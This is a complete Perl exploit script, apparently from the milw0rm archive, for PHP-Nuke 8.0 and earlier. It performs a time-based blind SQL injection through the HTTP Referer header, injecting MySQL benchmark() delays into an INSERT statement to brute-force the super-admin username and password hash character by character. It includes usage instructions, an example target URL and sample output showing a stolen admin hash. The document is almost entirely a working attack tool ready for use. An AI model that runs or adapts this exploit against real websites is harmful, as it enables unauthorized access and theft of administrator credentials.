#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[[email protected]]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[[email protected]]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
#przeskok-optymalizacja;]
if($j==57){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub brute_force_aid{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
if($j==57){
$j=64;
}
if($j==90){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub ustal_dlugosc{
my ($pole,$len)=@_;
my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=0;
$nie_dziala_liczba=65;
#for($len=1;$len<64;$len++){
while($len<=64){
if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
return $narazie_dziala_liczba;
}
$referer="http://www.krasza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$narazie_dziala_liczba=$len+1;
$len+=2;
}else{
$nie_dziala_liczba=$len+1;
$len-=1;
}
}
print "[-]Exploit Failed\n";
exit;
}
sub czy_dziala{
my ($refik)=@_;
my $czas_zapytania;
$czas_zapytania=polacz($refik);
if($czas_zapytania>$czas_nor+$offset){
return 1;
}else{
return 0;
}
}
sub polacz{
my ($referrer)=@_;
my ($czas,$czas_poczatek,$czas_koniec);
$zadanie->referer($referrer);
$czas_poczatek=time();
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$czas_koniec=time();
$czas=$czas_koniec-$czas_poczatek;
return $czas;
}
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
exit(0);
}
# milw0rm.com [2007-02-20]
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